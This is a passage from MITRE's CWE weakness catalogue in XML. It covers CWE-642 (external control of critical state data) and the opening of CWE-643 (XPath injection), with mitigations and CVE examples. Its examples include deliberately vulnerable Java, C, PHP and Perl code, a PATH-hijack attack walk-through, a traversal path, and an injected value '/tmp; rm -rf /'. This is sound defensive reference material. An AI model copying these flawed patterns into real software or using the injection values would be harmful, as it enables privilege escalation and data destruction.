					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Description, Name, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Observed_Examples, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2010-06-21">Insufficient Filtering of
						File and Other Resource Names for Executable Content</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="642" Name="External Control of Critical State Data" Weakness_Abstraction="Class" Status="Draft">
			      <Description>
				        <Description_Summary>The software stores security-critical state information about
					its users, or the software itself, in a location that is accessible to
					unauthorized actors.</Description_Summary>
				        <Extended_Description>
					          <Text>If an attacker can modify the state information without detection, then it
						could be used to perform unauthorized actions or access unexpected
						resources, since the application programmer does not expect that the state
						can be changed.</Text>
					          <Text>State information can be stored in various locations such as a cookie, in
						a hidden web form field, input parameter or argument, an environment
						variable, a database record, within a settings file, etc. All of these
						locations have the potential to be modified by an attacker. When this state
						information is used to control security or determine resource usage, then it
						may create a vulnerability. For example, an application may perform
						authentication, then save the state in an "authenticated=true" cookie. An
						attacker may simply create this cookie in order to bypass the
						authentication.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>668</Relationship_Target_ID>
					          <!--Exposure of Resource to Wrong Sphere-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">750</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>752</Relationship_Target_ID>
					          <!--2009 Top 25 - Risky Resource Management-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>895</Relationship_Target_ID>
					          <!--SFP Cluster: Information Leak-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Technology_Classes>
					          <Technology_Class Prevalence="Often" Technology_Name="Web-Server"/>
				        </Technology_Classes>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>An application maintains its own state and/or user state (i.e. application
						is stateful).</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>State information can be affected by the user of an application through
						some means other than the legitimate state transitions (e.g. logging into
						the system, purchasing an item, making a payment, etc.)</Text>
				        </Enabling_Factor_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>An application does not have means to detect state tampering and behave in
						a fail safe manner.</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Gain privileges / assume
						identity</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>An attacker could potentially modify the state in malicious ways. If
							the state is related to the privileges or level of authentication that
							the user has, then state modification might allow the user to bypass
							authentication or elevate privileges.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The state variables may contain sensitive information that should not
							be known by the client.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Availability</Consequence_Scope>
					          <Consequence_Technical_Impact>DoS: crash / exit /
						restart</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>By modifying state variables, the attacker could violate the
							application's expectations for the contents of the state, leading to a
							denial of service due to an unexpected error condition.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Understand all the potential locations that are accessible to
							attackers. For example, some programmers assume that cookies and hidden
							form fields cannot be modified by an attacker, or they may not consider
							that environment variables can be modified before a privileged program
							is invoked.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-14">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Identify and Reduce Attack Surface</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Store state information and sensitive data on the server side only. </Text>
						            <Text>Ensure that the system definitively and unambiguously keeps track of
							its own state and user state and has rules defined for legitimate state
							transitions. Do not allow any application user to affect state directly
							in any way other than through legitimate actions leading to state
							transitions.</Text>
						            <Text>If information must be stored on the client, do not do so without
							encryption and integrity checking, or otherwise having a mechanism on
							the server side to catch tampering. Use a message authentication code
							(MAC) algorithm, such as Hash Message Authentication Code (HMAC)
							[R.642.2]. Apply this against the state or sensitive data that you have
							to expose, which can guarantee the integrity of the data - i.e., that
							the data has not been modified. Ensure that you use an algorithm with a
							strong hash function (CWE-328).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Store state information on the server side only. Ensure that the
							system definitively and unambiguously keeps track of its own state and
							user state and has rules defined for legitimate state transitions. Do
							not allow any application user to affect state directly in any way other
							than through legitimate actions leading to state transitions.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-4">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Strategy>Libraries or Frameworks</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>Use a vetted library or framework that does not allow this weakness to
							occur or provides constructs that make this weakness easier to
							avoid.</Text>
						            <Text>With a stateless protocol such as HTTP, use some frameworks can
							maintain the state for you.</Text>
						            <Text>Examples include ASP.NET View State and the OWASP ESAPI Session
							Management feature.</Text>
						            <Text>Be careful of language features that provide state support, since
							these might be provided as a convenience to the programmer and may not
							be considering security.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-15">
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>For any security checks that are performed on the client side, ensure
							that these checks are duplicated on the server side, in order to avoid
							CWE-602. Attackers can bypass the client-side checks by modifying values
							after the checks have been performed, or by changing the client to
							remove the client-side checks entirely. Then, these modified values
							would be submitted to the server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation Mitigation_ID="MIT-16">
					          <Mitigation_Phase>Operation</Mitigation_Phase>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Strategy>Environment Hardening</Mitigation_Strategy>
					          <Mitigation_Description>
						            <Text>When using PHP, configure the application so that it does not use
							register_globals. During implementation, develop the application so that
							it does not rely on this feature, but be wary of implementing a
							register_globals emulation that is subject to weaknesses such as CWE-95,
							CWE-621, and similar issues.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use automated static analysis tools that target this type of weakness.
							Many modern techniques use data flow analysis to minimize the number of
							false positives. This is not a perfect solution, since 100% accuracy and
							coverage are not feasible.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use dynamic tools and techniques that interact with the software using
							large test suites with many diverse inputs, such as fuzz testing
							(fuzzing), robustness testing, and fault injection. The software's
							operation may slow down, but it should not become unstable, crash, or
							generate incorrect results.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use tools and techniques that require manual (human) analysis, such as
							penetration testing, threat modeling, and interactive tools that allow
							the tester to record and modify an active session. These may be more
							effective than strictly automated techniques. This is especially the
							case with weaknesses that are related to design and business
							rules.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, an authentication flag is read from a
						browser cookie, thus allowing for external control of user state
						data.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Cookie[] cookies = request.getCookies();</Code>
							              <Code>for (int i =0; i&lt; cookies.length; i++) {</Code>
							              <Block>
								                <Code>Cookie c = cookies[i];</Code>
								                <Code>if (c.getName().equals("authenticated") &amp;&amp;
									Boolean.TRUE.equals(c.getValue())) {</Code>
								                <Block>
									                  <Code>authenticated = true;</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-65">
					          <Intro_Text>The following code uses input from an HTTP request to create a file
						name. The programmer has not considered the possibility that an attacker
						could provide a file name such as "../../tomcat/conf/server.xml", which
						causes the application to delete one of its own configuration files
						(CWE-22).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>String rName = request.getParameter("reportName");</Code>
							              <Code>File rFile = new File("/usr/local/apfr/reports/" + rName);</Code>
							              <Code>...</Code>
							              <Code>rFile.delete();</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-66">
					          <Intro_Text>The following code uses input from a configuration file to determine
						which file to open and echo back to the user. If the program runs with
						privileges and malicious users can change the configuration file, they can
						use the program to read any file on the system that ends with the extension
						.txt.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>fis = new FileInputStream(cfg.getProperty("sub")+".txt");</Code>
							              <Code>amt = fis.read(arr);</Code>
							              <Code>out.println(arr);</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-67">
					          <Intro_Text>This program is intended to execute a command that lists the
						contents of a restricted directory, then performs other actions. Assume that
						it runs with setuid privileges in order to bypass the permissions check by
						the operating system.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>C</Code_Example_Language>
							              <Code>#define DIR "/restricted/directory"</Code>
							              <Code/>
							              <Code>char cmd[500];</Code>
							              <Code>sprintf(cmd, "ls -l %480s", DIR);</Code>
							              <Comment>/* Raise privileges to those needed for accessing DIR.
								*/</Comment>
							              <Code>RaisePrivileges(...);</Code>
							              <Code>system(cmd);</Code>
							              <Code>DropPrivileges(...);</Code>
							              <Code>...</Code>
						            </Block>
						            <Text>This code may look harmless at first, since both the directory and the
							command are set to fixed values that the attacker can't control. The
							attacker can only see the contents for DIR, which is the intended
							program behavior. Finally, the programmer is also careful to limit the
							code that executes with raised privileges.</Text>
						            <Text>However, because the program does not modify the PATH environment
							variable, the following attack would work:</Text>
						            <Block Block_Nature="Attack">
							              <Code_Example_Language>PseudoCode</Code_Example_Language>
							              <Text>The user sets the PATH to reference a directory under that user's
								control, such as "/my/dir/".</Text>
							              <Text>The user creates a malicious program called "ls", and puts that
								program in /my/dir</Text>
							              <Text>The user executes the program.</Text>
							              <Text>When system() is executed, the shell consults the PATH to find the
								ls program</Text>
							              <Text>The program finds the malicious program, "/my/dir/ls". It doesn't
								find "/bin/ls" because PATH does not contain "/bin/".</Text>
							              <Text>The program executes the malicious program with the raised
								privileges.</Text>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example Demonstrative_Example_ID="DX-68">
					          <Intro_Text>This code prints all of the running processes belonging to the
						current user.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>PHP</Code_Example_Language>
							              <Comment> //assume getCurrentUser() returns a username that is
								guaranteed to be alphanumeric (CWE-78)</Comment>
							              <Code> $userName = getCurrentUser();</Code>
							              <Code> $command = 'ps aux | grep ' . $userName;</Code>
							              <Code> system($command);</Code>
						            </Block>
						            <Text>This program is also vulnerable to a PATH based attack (CWE-426), as
							an attacker may be able to create malicious versions of the ps or grep
							commands. While the program does not explicitly raise privileges to run
							the system commands, the PHP interpreter may by default be running with
							higher privileges than users.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>The following code segment implements a basic server that uses the
						"ls" program to perform a directory listing of the directory that is listed
						in the "HOMEDIR" environment variable. The code intends to allow the user to
						specify an alternate "LANG" environment variable. This causes "ls" to
						customize its output based on a given language, which is an important
						capability when supporting internationalization.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Perl</Code_Example_Language>
							              <Code>$ENV{"HOMEDIR"} = "/home/mydir/public/";</Code>
							              <Code>my $stream = AcceptUntrustedInputStream();</Code>
							              <Code>while (&lt;$stream&gt;) {</Code>
							              <Block>
								                <Code>chomp;</Code>
								                <Code>if (/^ENV ([\w\_]+) (.*)/) {</Code>
								                <Block>
									                  <Code>$ENV{$1} = $2;</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>elsif (/^QUIT/) { ... }</Code>
								                <Code>elsif (/^LIST/) {</Code>
								                <Block>
									                  <Code>open($fh, "/bin/ls -l $ENV{HOMEDIR}|");</Code>
									                  <Code>while (&lt;$fh&gt;) {</Code>
									                  <Block>
										                    <Code>SendOutput($stream, "FILEINFO: $_");</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>close($fh);</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
						            <Text>The programmer takes care to call a specific "ls" program and sets the
							HOMEDIR to a fixed value. However, an attacker can use a command such as
							"ENV HOMEDIR /secret/directory" to specify an alternate directory,
							enabling a path traversal attack (CWE-22). At the same time, other
							attacks are enabled as well, such as OS command injection (CWE-78) by
							setting HOMEDIR to a value such as "/tmp; rm -rf /". In this case, the
							programmer never intends for HOMEDIR to be modified, so input validation
							for HOMEDIR is not the solution. A partial solution would be a whitelist
							that only allows the LANG variable to be specified in the ENV command.
							Alternately, assuming this is an authenticated user, the language could
							be stored in a local file so that no ENV command at all would be
							needed.</Text>
						            <Text>While this example may not appear realistic, this type of problem
							shows up in code fairly frequently. See CVE-1999-0073 in the observed
							examples for a real-world example with similar behaviors.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2428</Observed_Example_Reference>
					          <Observed_Example_Description>Mail client stores password hashes for unrelated
						accounts in a hidden form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-0306</Observed_Example_Reference>
					          <Observed_Example_Description>Privileged program trusts user-specified
						environment variable to modify critical configuration
						settings.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-0073</Observed_Example_Reference>
					          <Observed_Example_Description>Telnet daemon allows remote clients to specify
						critical environment variables for the server, leading to code
						execution.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2007-4432</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted search path vulnerability through
						modified LD_LIBRARY_PATH environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2006-7191</Observed_Example_Reference>
					          <Observed_Example_Description>Untrusted search path vulnerability through
						modified LD_LIBRARY_PATH environment
						variable.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5738</Observed_Example_Reference>
					          <Observed_Example_Description>Calendar application allows bypass of
						authentication by setting a certain cookie value to
						1.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5642</Observed_Example_Reference>
					          <Observed_Example_Description>Setting of a language preference in a cookie
						enables path traversal attack.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5125</Observed_Example_Reference>
					          <Observed_Example_Description>Application allows admin privileges by setting a
						cookie value to "admin."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-5065</Observed_Example_Reference>
					          <Observed_Example_Description>Application allows admin privileges by setting a
						cookie value to "admin."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-4752</Observed_Example_Reference>
					          <Observed_Example_Description>Application allows admin privileges by setting a
						cookie value to "admin."</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0102</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0253</Observed_Example_Reference>
					          <Observed_Example_Description>Shopping cart allows price modification via hidden
						form field.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2008-1319</Observed_Example_Reference>
					          <Observed_Example_Description>Server allows client to specify the search path,
						which can be modified to point to a program that the client has
						uploaded.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Relevant_Properties>
				        <Relevant_Property>Accessibility</Relevant_Property>
				        <Relevant_Property>Mutability</Relevant_Property>
				        <Relevant_Property>Trustability</Relevant_Property>
			      </Relevant_Properties>
			      <References>
				        <Reference Local_Reference_ID="R.642.1">
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Insecure Direct Object Reference</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A4</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-30" Local_Reference_ID="R.642.2">
					          <Reference_Title>HMAC</Reference_Title>
					          <Reference_Publisher>Wikipedia</Reference_Publisher>
					          <Reference_Date>2011-08-18</Reference_Date>
					          <Reference_Link>http://en.wikipedia.org/wiki/Hmac</Reference_Link>
				        </Reference>
				        <Reference Reference_ID="REF-17" Local_Reference_ID="R.642.3">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 4: Use of Magic URLs, Predictable Cookies, and Hidden
						Form Fields." Page 75</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>167</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>21</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>31</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="External_Submission">
					          <Submitter>Evgeny Lebanidze</Submitter>
					          <Submitter_Organization>Cigital</Submitter_Organization>
					          <Submission_Date>2008-01-30</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-01-12</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Common_Consequences,
						Demonstrative_Examples, Description, Name, Observed_Examples,
						Potential_Mitigations, References, Relationships, Relevant_Properties,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-06-21</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations,
						References, Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">Insufficient Management of
						User State</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-01-12">External Control of User
						State Data</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="643" Name="Improper Neutralization of Data within XPath Expressions ('XPath Injection')" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The software uses external input to dynamically construct an
					XPath expression used to retrieve data from an XML database, but it does not
					neutralize or incorrectly neutralizes that input. This allows an attacker to
					control the structure of the query.</Description_Summary>
				        <Extended_Description>
					          <Text>The net effect is that the attacker will have control over the information
						selected from the XML database and may use that ability to control
						application flow, modify logic, retrieve unauthorized data, or bypass
						important checks (e.g. authentication).</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>91</Relationship_Target_ID>
					          <!--XML Injection (aka Blind XPath Injection)-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>896</Relationship_Target_ID>
					          <!--SFP Cluster: Tainted Input-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This weakness is similar to other weaknesses that enable injection style
						attacks, such as SQL injection, command injection and LDAP injection. The
						main difference is that the target of attack here is the XML
						database.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Enabling_Factors_for_Exploitation>
				        <Enabling_Factor_for_Exploitation>
					          <Text>XPath queries are constructed dynamically using user supplied input</Text>
				        </Enabling_Factor_for_Exploitation>
			      </Enabling_Factors_for_Exploitation>
			      <Likelihood_of_Exploit>High</Likelihood_of_Exploit>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Access_Control</Consequence_Scope>
					          <Consequence_Technical_Impact>Bypass protection
						mechanism</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Controlling application flow (e.g. bypassing authentication).</Text>
					          </Consequence_Note>
				        </Common_Consequence>
				        <Common_Consequence>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>The attacker could read restricted XML content.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use parameterized XPath queries (e.g. using XQuery). This will help
							ensure separation between data plane and control plane.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Properly validate user input. Reject data where appropriate, filter
							where appropriate and escape where appropriate. Make sure input that
							will be used in XPath queries is safe in that context.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>Consider the following simple XML document that stores
						authentication information and a snippet of Java code that uses XPath query
						to retrieve authentication information:</Intro_Text>
					          <Example_Body>
						            <Block>
							              <Code_Example_Language>XML</Code_Example_Language>
							              <Code>&lt;users&gt;</Code>
							              <Block>
								                <Code>&lt;user&gt;</Code>
								                <Block>
									                  <Code>&lt;login&gt;john&lt;/login&gt;</Code>
									                  <Code>&lt;password&gt;abracadabra&lt;/password&gt;</Code>
									                  <Code>&lt;home_dir&gt;/home/john&lt;/home_dir&gt;</Code>
								                </Block>
								                <Code>&lt;/user&gt;</Code>
								                <Code>&lt;user&gt;</Code>
								                <Block>
									                  <Code>&lt;login&gt;cbc&lt;/login&gt;</Code>
									                  <Code>&lt;password&gt;1mgr8&lt;/password&gt;</Code>
									                  <Code>&lt;home_dir&gt;/home/cbc&lt;/home_dir&gt;</Code>
								                </Block>
								                <Code>&lt;/user&gt;</Code>
							              </Block>
							              <Code>&lt;/users&gt;</Code>
						            </Block>
						            <Text>The Java code used to retrieve the home directory based on the
							provided credentials is:</Text>
